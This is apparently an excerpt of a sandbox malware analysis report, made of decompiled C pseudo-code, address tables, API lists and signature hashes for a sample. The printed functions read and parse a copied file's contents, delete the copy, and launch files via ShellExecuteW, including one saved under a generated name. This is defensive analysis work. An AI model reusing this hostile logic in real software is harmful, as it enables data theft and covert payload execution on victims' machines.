				char* _t144;
				void* _t146;
				void* _t147;
				void* _t160;
				int _t163;
				void* _t165;
				signed int _t167;
				void* _t190;
				void* _t191;
				void* _t196;
				void* _t209;
				void* _t210;
				signed int _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t216;
				void* _t228;
				void* _t240;
				signed int _t241;
				void* _t264;
				intOrPtr _t265;
				void* _t267;
				void* _t270;
				void* _t271;
				intOrPtr _t273;
				intOrPtr* _t276;
				void* _t278;

				_v88 = __edx;
				_v84 = __ecx;
				if(_a8 == 0) {
					L50:
					return 0;
				}
				_t104 =  *0x40e38c; // 0x755528
				_v76 = _v76 & 0x00000000;
				_v48 = _t104;
				_t105 =  *0x40e380; // 0x755438
				_v80 = _t105;
				_t106 =  *0x40e2cc; // 0x735a60
				_v52 = _t106;
				_t107 =  *0x40e320; // 0x735ac0
				_v56 = _t107;
				_t108 =  *0x40e384; // 0x755648
				_v64 = _t108;
				_t110 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t111 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_v36 = _t111;
				_t264 =  *((intOrPtr*)( *0x40e000))(_t110, _a4,  *0x40e300);
				_v68 = _t264;
				_t113 = E0040A69E( *0x40e000,  &_v36);
				_t209 = _v36;
				if(_t113 == 0) {
					L48:
					LocalFree(_t264);
					DeleteFileW(_t209);
					LocalFree(_t209);
					L49:
					goto L50;
				}
				_push(0);
				_push(_t209);
				_push(_t264);
				if( *((intOrPtr*)( *0x40e184))() == 0) {
					goto L48;
				}
				_t119 =  *((intOrPtr*)( *0x40e03c))(_t209, 0x80000000, 1, 0, 3, 0, 0);
				_v72 = _t119;
				_t270 =  *((intOrPtr*)( *0x40e14c))(_t119, 0);
				_t121 =  *((intOrPtr*)( *0x40e044))(0x40, _t270);
				_push(0);
				_push( &_v76);
				_t18 = _t270 - 1; // -1
				_v44 = _t121;
				_push(_t121);
				_push(_v72);
				if( *((intOrPtr*)( *0x40e088))() == 0) {
					L43:
					LocalFree(_v44);
					CloseHandle(_v72);
					DeleteFileW(_t209);
					if(_t264 != 0) {
						LocalFree(_t264);
					}
					if(_t209 != 0) {
						LocalFree(_t209);
					}
					return 1;
				}
				_t271 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
				_t22 = _t271 + 0x40; // 0x40
				_t132 =  *((intOrPtr*)( *0x40e044))(0x40, _t22);
				_v40 = _t132;
				if(_t271 == 0) {
					L7:
					_push(_v40);
					_t133 =  *0x40e490; // 0x6dc8a7f0
					if( *_t133() != 0) {
						L42:
						 *0x40e4a8();
						LocalFree(_v40);
						goto L43;
					}
					_t228 = _v44;
					_t265 = _t228;
					_push(_t228);
					_v32 = _t265;
					_t273 = 1;
					if( *((intOrPtr*)( *0x40e198))() <= 0x200) {
						L41:
						_t264 = _v68;
						goto L42;
					}
					while(_t273 != 0) {
						_v60 = _v60 & 0x00000000;
						_t140 =  *((intOrPtr*)( *0x40e00c))(_t265, _v48);
						_v20 = _v20 | 0xffffffff;
						_t210 = _t140;
						_v16 = _v16 | 0xffffffff;
						if(_t210 == 0) {
							break;
						}
						_t211 = _t210 - _t265;
						if(_t210 - _t265 < 0) {
							break;
						}
						_t142 =  *((intOrPtr*)( *0x40e00c))(_t265, _v80);
						if(_t142 == 0) {
							_t273 = 0;
						} else {
							_v20 = _t142 - _t265;
						}
						_v8 = _t273;
						_t144 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
						_a8 = _t144;
						_t146 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
						_v24 = _t146;
						_t147 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
						_push(_v20);
						_v28 = _t147;
						if(E0040A457(_t265,  &_a8,  *((intOrPtr*)( *0x40e198))() + _t211, _v48) == 0) {
							L38:
							LocalFree(_a8);
							LocalFree(_v24);
							LocalFree(_v28);
							_t212 = _v16;
							if(_t212 < 0) {
								break;
							}
							_t265 = _t265 +  *((intOrPtr*)( *0x40e198))(_v64) + _t212;
							_push(_t265);
							_v32 = _t265;
							if( *((intOrPtr*)( *0x40e198))() > 0x200) {
								continue;
							}
							break;
						} else {
							_t160 =  *((intOrPtr*)( *0x40e044))(0x40, 0x1000);
							_v12 = _t160;
							_t163 = MultiByteToWideChar(0xfde9, 0, _a8,  *((intOrPtr*)( *0x40e198))(_a8) + 1, 0, 0);
							_v20 = _t163;
							if(_t163 != 0) {
								_t267 = _t163 + _t163;
								_t196 =  *((intOrPtr*)( *0x40e044))(0x40, _t267);
								_t216 = _t196;
								MultiByteToWideChar(0xfde9, 0, _a8,  *((intOrPtr*)( *0x40e198))(_a8) + 1, _t216, _v20);
								 *((short*)(_t267 + _t216 - 2)) = 0;
								_v12 =  *((intOrPtr*)( *0x40e13c))(_v12, _t216);
								LocalFree(_t216);
								_t265 = _v32;
								_v60 = 1;
							}
							_t165 =  *((intOrPtr*)( *0x40e00c))(_t265, _v52);
							if(_t165 == 0) {
								L36:
								_t273 = 0;
								L37:
								LocalFree(_v12);
								goto L38;
							}
							_t273 = _v8;
							_t167 = _t165 - _t265;
							_v20 = _t167;
							if(_t167 < 0) {
								goto L37;
							}
							_t213 =  *((intOrPtr*)( *0x40e00c))(_t265, _v56);
							if(_t213 == 0) {
								goto L36;
							}
							_t214 = _t213 - _t265;
							if(_t214 >= 0) {
								_push(_t214);
								if(E0040A457(_t265,  &_v24,  *((intOrPtr*)( *0x40e198))() + _v20, _v52) != 0) {
									_v20 =  *((intOrPtr*)( *0x40e044))(0x40, 0x3f40);
									E00406468(_v24,  &_v20);
									_t240 =  *((intOrPtr*)( *0x40e00c))(_t265, _v64);
									if(_t240 == 0) {
										_t273 = 0;
									} else {
										_t241 = _t240 - _t265;
										_v92 = _t241;
										_v16 = _t241;
										if(_t241 >= 0) {
											_push(_t241);
											_v16 = _t241;
											if(E0040A457(_t265,  &_v28,  *((intOrPtr*)( *0x40e198))() + _t214, _v56) != 0) {
												_v16 =  *((intOrPtr*)( *0x40e044))(0x40, 0x3f40);
												if(E00406468(_v28,  &_v16) != 0 && _v60 != 0) {
													_t190 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
													_t215 = _t190;
													_t191 =  *((intOrPtr*)( *0x40e0ec))(_t215,  *0x40e1a4, _v12, _v20, _v16);
													_t278 = _t278 + 0x14;
													if(_t191 >= lstrlenW( *0x40e1a4)) {
														_t276 = _v84;
														 *_t276 = E0040A503( *_t276, _t215);
													}
													if(_t215 != 0) {
														LocalFree(_t215);
													}
													_t265 = _v32;
													 *_v88 =  *_v88 + 1;
												}
												LocalFree(_v16);
												_t273 = _v8;
												_v16 = _v92;
											}
										}
									}
									LocalFree(_v20);
								}
							}
							goto L37;
						}
					}
					_t209 = _v36;
					goto L41;
				}
				_push(0);
				_push(0);
				_push(_t271);
				_push(_t132);
				_push(0xffffffff);
				_push(_a4);
				_push(0);
				_push(0xfde9);
				if( *((intOrPtr*)( *0x40e0e4))() != 0) {
					goto L7;
				} else {
					LocalFree(_v44);
					LocalFree(_t264);
					LocalFree(_t209);
					LocalFree(_v40);
					goto L49;
				}
			}

0x00406d33
0x00406d36
0x00406d39
0x0040720c
0x00000000
0x0040720c
0x00406d3f
0x00406d49
0x00406d4d
0x00406d50
0x00406d55
0x00406d58
0x00406d5d
0x00406d60
0x00406d65
0x00406d68
0x00406d6e
0x00406d78
0x00406d85
0x00406d96
0x00406d9c
0x00406da1
0x00406da4
0x00406da9
0x00406dae
0x004071f7
0x004071f8
0x004071ff
0x00407206
0x00407206
0x00000000
0x00407206
0x00406dbc
0x00406dbd
0x00406dbe
0x00406dc3
0x00000000
0x00000000
0x00406ddb
0x00406de5
0x00406df0
0x00406df5
0x00406e00
0x00406e02
0x00406e03
0x00406e06
0x00406e0a
0x00406e0b
0x00406e12
0x004071c3
0x004071c6
0x004071cf
0x004071d6
0x004071de
0x004071e1
0x004071e1
0x004071e9
0x004071ec
0x004071ec
0x00000000
0x004071f4
0x00406e36
0x00406e38
0x00406e3e
0x00406e40
0x00406e45
0x00406e83
0x00406e83
0x00406e86
0x00406e90
0x004071b4
0x004071b4
0x004071bd
0x00000000
0x004071bd
0x00406e96
0x00406ea0
0x00406ea2
0x00406ea3
0x00406ea6
0x00406eae
0x004071b1
0x004071b1
0x00000000
0x004071b1
0x00406eb4
0x00406ec4
0x00406ec9
0x00406ecb
0x00406ecf
0x00406ed1
0x00406ed7
0x00000000
0x00000000
0x00406edd
0x00406edf
0x00000000
0x00000000
0x00406eee
0x00406ef2
0x00406efb
0x00406ef4
0x00406ef6
0x00406ef6
0x00406f09
0x00406f0c
0x00406f13
0x00406f1d
0x00406f2c
0x00406f2f
0x00406f31
0x00406f3d
0x00406f53
0x00407168
0x0040716b
0x00407174
0x0040717d
0x00407183
0x00407188
0x00000000
0x00000000
0x00407196
0x0040719d
0x0040719e
0x004071a8
0x00000000
0x00000000
0x00000000
0x00406f59
0x00406f65
0x00406f76
0x00406f8b
0x00406f8d
0x00406f92
0x00406f9a
0x00406fa0
0x00406fab
0x00406fc5
0x00406fcd
0x00406fda
0x00406fdd
0x00406fe3
0x00406fe6
0x00406fe6
0x00406ff6
0x00406ffa
0x0040715d
0x0040715d
0x0040715f
0x00407162
0x00000000
0x00407162
0x00407000
0x00407003
0x00407005
0x00407008
0x00000000
0x00000000
0x00407019
0x0040701d
0x00000000
0x00000000
0x00407023
0x00407027
0x00407032
0x0040704a
0x00407064
0x00407067
0x00407077
0x0040707b
0x00407150
0x00407081
0x00407081
0x00407085
0x00407088
0x0040708b
0x00407096
0x0040709a
0x004070b0
0x004070ca
0x004070d4
0x004070e8
0x004070f3
0x00407108
0x0040710a
0x00407119
0x0040711b
0x00407127
0x00407127
0x0040712b
0x0040712e
0x0040712e
0x00407137
0x0040713a
0x0040713a
0x0040713f
0x00407148
0x0040714b
0x0040714b
0x004070b0
0x0040708b
0x00407155
0x00407155
0x0040704a
0x00000000
0x00407027
0x00406f53
0x004071ae
0x00000000
0x004071ae
0x00406e4f
0x00406e50
0x00406e51
0x00406e52
0x00406e53
0x00406e55
0x00406e58
0x00406e59
0x00406e62
0x00000000
0x00406e64
0x00406e67
0x00406e6e
0x00406e75
0x00407206
0x00000000
0x00407206

APIs

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(?), ref: 00406E67
LocalFree.KERNEL32(00000000), ref: 00406E6E
LocalFree.KERNEL32(?), ref: 00406E75
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,000000FF,00000001,00000000,00000000), ref: 00406F8B
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,000000FF,00000001,00000000,000000FF), ref: 00406FC5
LocalFree.KERNEL32(00000000), ref: 00406FDD
LocalFree.KERNEL32(?), ref: 004071C6
CloseHandle.KERNEL32(?), ref: 004071CF
DeleteFileW.KERNEL32(?), ref: 004071D6
LocalFree.KERNEL32(00000000), ref: 004071E1
LocalFree.KERNEL32(?), ref: 004071EC
LocalFree.KERNEL32(00000000), ref: 004071F8
DeleteFileW.KERNEL32(?), ref: 004071FF
LocalFree.KERNEL32(?), ref: 00407206

Strings

HVu, xrefs: 00406D68
8Tu, xrefs: 00406D50
zh@, xrefs: 00407171, 0040703B, 0040705E
(Uu, xrefs: 00406D3F
`Zs, xrefs: 00406D58

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$ByteCharDeleteFileMultiWide$CloseHandle
String ID: (Uu$8Tu$HVu$`Zs$zh@
API String ID: 490209112-2099155084
Opcode ID: 2c3a4ddb3ba3feb35c1dcfdcabd393495abc93af20cb4a2b392ebe35311604a6
Instruction ID: f5ae4f6584a7baff5169ccf4eff2fbd10138ea77d31ce010a22c6c2769712165
Opcode Fuzzy Hash: 2c3a4ddb3ba3feb35c1dcfdcabd393495abc93af20cb4a2b392ebe35311604a6
Instruction Fuzzy Hash: D6E18471A00215AFEB04DFA6DD85EAEBBB5EF48310F004439FA15B7390DBB46911CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0059581D Relevance: 49.2, APIs: 39, Instructions: 476COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00595DB5

Part of subcall function 0059A64B: LocalFree.KERNEL32(00000000,?,00593FAD,00000002,?), ref: 0059A6B0

LocalFree.KERNEL32(00000000), ref: 00595C13
LocalFree.KERNEL32(?), ref: 00595C1C
LocalFree.KERNEL32(?), ref: 00595C25
LocalFree.KERNEL32(?), ref: 00595C2C
LocalFree.KERNEL32(00000000), ref: 00595C36
LocalFree.KERNEL32(?), ref: 00595C3F
LocalFree.KERNEL32(?), ref: 00595C48
LocalFree.KERNEL32(?), ref: 00595C51
LocalFree.KERNEL32(?), ref: 00595C5A
LocalFree.KERNEL32(?), ref: 00595C63
LocalFree.KERNEL32(?), ref: 00595C6C
LocalFree.KERNEL32(?), ref: 00595C75
LocalFree.KERNEL32(?), ref: 00595C7E

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

LocalFree.KERNEL32(?), ref: 00595CA7
LocalFree.KERNEL32(?), ref: 00595CB0
LocalFree.KERNEL32(?), ref: 00595CB9
LocalFree.KERNEL32(?), ref: 00595CC2
LocalFree.KERNEL32(?), ref: 00595CCB
LocalFree.KERNEL32(?), ref: 00595CD4
LocalFree.KERNEL32(?), ref: 00595CDD
LocalFree.KERNEL32(?), ref: 00595CEC
LocalFree.KERNEL32(?), ref: 00595CF5
LocalFree.KERNEL32(?), ref: 00595CFE
LocalFree.KERNEL32(?), ref: 00595D07
LocalFree.KERNEL32(?), ref: 00595D10
LocalFree.KERNEL32(?), ref: 00595D17
LocalFree.KERNEL32(?), ref: 00595D28
LocalFree.KERNEL32(?), ref: 00595D31
LocalFree.KERNEL32(?), ref: 00595D3A
LocalFree.KERNEL32(?), ref: 00595D43
LocalFree.KERNEL32(?), ref: 00595D4C
LocalFree.KERNEL32(?), ref: 00595D5A
LocalFree.KERNEL32(?), ref: 00595D63
LocalFree.KERNEL32(?), ref: 00595D6C
LocalFree.KERNEL32(?), ref: 00595D7D
LocalFree.KERNEL32(?), ref: 00595D86
LocalFree.KERNEL32(00000000), ref: 00595D8D
LocalFree.KERNEL32(?), ref: 00595D9E

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$Global
String ID:
API String ID: 67877634-0
Opcode ID: 0f12c4ef2a00073fdc66328a61890da27d8bcc0520ef2ea85460475b67c8d6ed
Instruction ID: d90f2463e90658a5194ea8a471ca1e003ca3eef487e0aa2540b4478ad184de4b
Opcode Fuzzy Hash: 0f12c4ef2a00073fdc66328a61890da27d8bcc0520ef2ea85460475b67c8d6ed
Instruction Fuzzy Hash: 04F1C472900225AFDF159BA6DE49DAEBF75FF88310F044424F905B72A0DB706D21CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00596F8D Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 419fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

LocalFree.KERNEL32(?), ref: 005970CE
LocalFree.KERNEL32(00000000), ref: 005970D5
LocalFree.KERNEL32(?), ref: 005970DC
LocalFree.KERNEL32(00000000), ref: 00597244
LocalFree.KERNEL32(?), ref: 0059742D
CloseHandle.KERNEL32(?), ref: 00597436
DeleteFileW.KERNEL32(?), ref: 0059743D
LocalFree.KERNEL32(00000000), ref: 00597448
LocalFree.KERNEL32(?), ref: 00597453
LocalFree.KERNEL32(00000000), ref: 0059745F
DeleteFileW.KERNEL32(?), ref: 00597466
LocalFree.KERNEL32(?), ref: 0059746D

Strings

8Tu, xrefs: 00596FB7
jY, xrefs: 005973E1, 00597308, 0059732B
`Zs, xrefs: 00596FBF
HVu, xrefs: 00596FCF
(Uu, xrefs: 00596FA6

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile$CloseHandle
String ID: (Uu$8Tu$HVu$`Zs$jY
API String ID: 3365615635-3023865948
Opcode ID: 6b69802a48eb8782515909e086c02e5c0d34241564e5da442a695b2d7f20041d
Instruction ID: f90b9378c104af605507e4bd6faffb987cc2efdbe63403fe0f681edc65280e08
Opcode Fuzzy Hash: 6b69802a48eb8782515909e086c02e5c0d34241564e5da442a695b2d7f20041d
Instruction Fuzzy Hash: 15E1B371A00219AFEF049FA6DD85AAEBFB5FF48310F004829FA14B7260DBB45910DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00592A1F Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 419fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00592AAC

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

LocalFree.KERNEL32(00000000), ref: 00592AFB
LocalFree.KERNEL32(00000000), ref: 00592B0A
LocalFree.KERNEL32(00000000), ref: 00592B19
LocalFree.KERNEL32(00000000), ref: 00592B24
LocalFree.KERNEL32(00000000), ref: 00592B2F
LocalFree.KERNEL32(00000000), ref: 00592C54
LocalFree.KERNEL32(?), ref: 00592C5B
LocalFree.KERNEL32(00000000), ref: 00592C87
LocalFree.KERNEL32(?), ref: 00592C8E
LocalFree.KERNEL32(00000000), ref: 00592F06
DeleteFileW.KERNEL32(?), ref: 00592F0D
LocalFree.KERNEL32(?), ref: 00592F14

Strings

i&Y, xrefs: 00592C34, 00592AD6, 00592ADE, 00592AEB, 00592C37
i&Y, xrefs: 00592EE1, 00592ED8, 00592D28, 00592C76, 00592CA6, 00592CD6, 00592CC9, 00592D01, 00592D0C, 00592CBE, 00592EB4, 00592C6A, 00592C94
i&Y, xrefs: 00592B35, 00592B4B, 00592B5E, 00592B71, 00592B84, 00592B97, 00592BAA, 00592BBD, 00592BD0

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: i&Y$i&Y$i&Y
API String ID: 2194112602-3799454034
Opcode ID: 14fe85006a4507c3b927e3539246f7d6684f254c4d25abfe7b05e8fd786a1328
Instruction ID: 97ff369839adfbddbdafa54db9a7a2a96e6d3b754b5bf6b1de3a9fee0f329a5e
Opcode Fuzzy Hash: 14fe85006a4507c3b927e3539246f7d6684f254c4d25abfe7b05e8fd786a1328
Instruction Fuzzy Hash: AAF17071900225EFDF05DFA6DE88AAE7BB5FB48310F144824F915B72A0DB749D20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004073C7 Relevance: 40.6, APIs: 22, Strings: 1, Instructions: 315
memoryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E004073C7() {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				char _v24;
				void* _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t65;
				void* _t72;
				void* _t79;
				void* _t86;
				void* _t97;
				void* _t108;
				void* _t122;
				void* _t123;
				char _t128;
				void* _t137;
				void* _t139;
				void* _t140;
				void* _t142;
				void* _t144;
				void* _t183;
				intOrPtr _t188;
				void* _t189;
				void* _t190;
				void* _t192;
				void* _t194;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				signed int _t205;
				void* _t207;
				signed int _t209;
				void* _t211;
				signed int _t213;
				void* _t215;
				signed int _t217;
				char _t218;
				void* _t219;
				void* _t222;
				void* _t223;

				_t190 =  *((intOrPtr*)( *0x40e18c))(_t144,  *0x40e3a0, _t189);
				if(_t190 == 0) {
					L41:
					return 0;
				} else {
					while(1) {
						_t192 = _t190 + 8;
						_t65 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t192) + _t63);
						_t137 = _t65;
						_v20 = _t137;
						_t202 =  *((intOrPtr*)( *0x40e18c))(_t192,  *0x40e1f0);
						if(_t202 == 0) {
							break;
						}
						_t205 = _t202 - _t192 >> 1;
						if(E0040A3E4(_t192,  &_v20, 0, _t205) == 0) {
							_t137 = _v20;
							break;
						}
						_t194 = _t192 + _t205 * 2 + 2;
						_t72 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t194) + _t70);
						_t139 = _t72;
						_v12 = _t139;
						_t207 =  *((intOrPtr*)( *0x40e18c))(_t194,  *0x40e20c);
						if(_t207 == 0) {
							L36:
							LocalFree(_t139);
							L34:
							LocalFree(_v20);
							L39:
							L40:
							goto L41;
						}
						_t209 = _t207 - _t194 >> 1;
						if(E0040A3E4(_t194,  &_v12, 0, _t209) == 0) {
							_t139 = _v12;
							goto L36;
						}
						_t196 = _t194 + _t209 * 2 + 2;
						_t79 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t196) + _t77);
						_t140 = _t79;
						_v8 = _t140;
						_t211 =  *((intOrPtr*)( *0x40e18c))(_t196,  *0x40e20c);
						if(_t211 == 0) {
							L33:
							LocalFree(_t140);
							LocalFree(_v12);
							goto L34;
						}
						_t213 = _t211 - _t196 >> 1;
						if(E0040A3E4(_t196,  &_v8, 0, _t213) == 0) {
							_t140 = _v8;
							goto L33;
						}
						_t198 = _t196 + _t213 * 2 + 2;
						_t86 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t198) + _t84);
						_t137 = _t86;
						_v16 = _t137;
						_t215 =  *((intOrPtr*)( *0x40e18c))(_t198,  *0x40e228);
						if(_t215 == 0) {
							L31:
							LocalFree(_v12);
							LocalFree(_v20);
							L29:
							break;
						}
						_t217 = _t215 - _t198 >> 1;
						if(E0040A3E4(_t198,  &_v16, 0, _t217) == 0) {
							_t137 = _v16;
							goto L31;
						}
						_t15 = _t217 + 1; // 0x1
						_t199 = _v20;
						_v32 = _t198 + _t15 * 2;
						_push(_t199);
						if( *((intOrPtr*)( *0x40e074))() != 1) {
							_push(_t199);
							if( *((intOrPtr*)( *0x40e074))() != 2) {
								_push(_t199);
								if( *((intOrPtr*)( *0x40e074))() == 3) {
									ShellExecuteW(0, L"open", _v16, _v12, 0, 0);
								}
							}
							L24:
							_t97 = _v8;
							L25:
							LocalFree(_t97);
							LocalFree(_v12);
							LocalFree(_t199);
							LocalFree(_v16);
							_t190 =  *((intOrPtr*)( *0x40e18c))(_v32,  *0x40e3a0);
							if(_t190 != 0) {
								continue;
							}
							goto L40;
						}
						_t97 = _v8;
						if( *_t97 != 0x25) {
							goto L25;
						}
						_t21 = _t97 + 2; // 0x407c02
						_t218 = _t21;
						_v24 = _t218;
						_t108 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
						_t137 = _t108;
						_v20 = _t137;
						_t219 =  *((intOrPtr*)( *0x40e18c))(_t218,  *0x40e364);
						if(_t219 == 0) {
							L28:
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_t199);
							LocalFree(_v16);
							goto L29;
						}
						_t221 = _t219 - _v24 >> 1;
						if(E0040A3E4(_v24,  &_v20, 0, _t219 - _v24 >> 1) == 0) {
							_t137 = _v20;
							goto L28;
						}
						_t142 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
						_push(0x208);
						_push(_t142);
						_push(_v20);
						if( *((intOrPtr*)( *0x40e15c))() != 0) {
							_t222 = E0040A503(_t142, _v24 + 2 + _t221 * 2);
							_t122 =  *((intOrPtr*)( *0x40e044))(0x40, 0x209);
							_t183 = 8;
							_t123 = E0040A05F(_t122, _t183);
							_t143 = _t123;
							_push(_t222);
							_v28 = _t123;
							if( *((short*)(_t222 +  *((intOrPtr*)( *0x40e08c))() * 2 - 2)) != 0x5c) {
								_t188 =  *0x40e258; // 0x735c80
								_t222 = E0040A503(_t222, _t188);
							}
							_t142 = E0040A503(E0040A503(E0040A503(_t222, _t143), "."), _v16);
							_t128 =  *0x40e374; // 0x74dd40
							_v24 = _t128;
							_t223 = E00408619( &_v24);
							if(E00408495(_v12, _t223, _t142) != 0) {
								ShellExecuteW(0, 0, _t142, 0, 0, 0);
							}
							LocalFree(_v28);
							LocalFree(_t223);
						}
						LocalFree(_t142);
						LocalFree(_v20);
						goto L24;
					}
					LocalFree(_t137);
					goto L39;
				}
			}

0x004073dc
0x004073e0
0x0040776a
0x0040776e
0x004073e6
0x004073e8
0x004073ed
0x004073fe
0x0040740c
0x0040740f
0x00407414
0x00407418
0x00000000
0x00000000
0x00407423
0x00407433
0x0040775e
0x00000000
0x0040775e
0x00407447
0x00407452
0x00407460
0x00407463
0x00407468
0x0040746c
0x0040775b
0x0040774d
0x0040774d
0x00407762
0x00407762
0x00407768
0x00000000
0x00407769
0x00407477
0x00407487
0x00407758
0x00000000
0x00407758
0x0040749b
0x004074a6
0x004074b4
0x004074b7
0x004074bc
0x004074c0
0x00407743
0x00407744
0x0040774d
0x00000000
0x0040774d
0x004074cb
0x004074db
0x00407740
0x00000000
0x00407740
0x004074ef
0x004074fa
0x00407508
0x0040750b
0x00407510
0x00407514
0x00407732
0x00407735
0x00407727
0x00407727
0x00000000
0x00407727
0x0040751f
0x00407530
0x0040772f
0x00000000
0x0040772f
0x00407536
0x0040753c
0x0040753f
0x00407547
0x0040754d
0x004076a0
0x004076a6
0x004076ad
0x004076b3
0x004076c3
0x004076c3
0x004076b3
0x004076c9
0x004076c9
0x004076cc
0x004076cd
0x004076d6
0x004076dd
0x004076e6
0x004076fc
0x00407700
0x00000000
0x00000000
0x00000000
0x00407706
0x00407553
0x0040755a
0x00000000
0x00000000
0x00407560
0x00407560
0x0040756f
0x00407572
0x00407580
0x00407583
0x00407588
0x0040758c
0x0040770b
0x0040770e
0x00407717
0x0040771e
0x00407727
0x00000000
0x00407727
0x0040759b
0x004075a9
0x00407708
0x00000000
0x00407708
0x004075c3
0x004075c5
0x004075ca
0x004075cb
0x004075d2
0x004075ee
0x004075f7
0x004075fb
0x004075fe
0x00407609
0x0040760b
0x0040760c
0x00407617
0x00407619
0x00407626
0x00407626
0x00407647
0x0040764c
0x00407651
0x0040765c
0x00407669
0x00407673
0x00407673
0x0040767c
0x00407683
0x00407683
0x0040768a
0x00407693
0x00000000
0x00407693
0x00407762
0x00000000
0x00407762

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 004073FE
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 00407762

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 00407452
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 004074A6
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 004074FA
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407673
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 0040767C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 00407683
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 0040768A
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407693

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

ShellExecuteW.SHELL32(00000000,open,?,?,00000000,00000000), ref: 004076C3
LocalFree.KERNEL32(00407C00,?,?,?,?,?,?,00407C00), ref: 004076CD
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 004076D6
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 004076DD
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 004076E6
LocalFree.KERNEL32(00407C00,?,?,?,?,?,?,00407C00), ref: 0040770E
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407717
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 0040771E
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407727
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407735
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 00407744
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 0040774D

Strings

open, xrefs: 004076BD

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

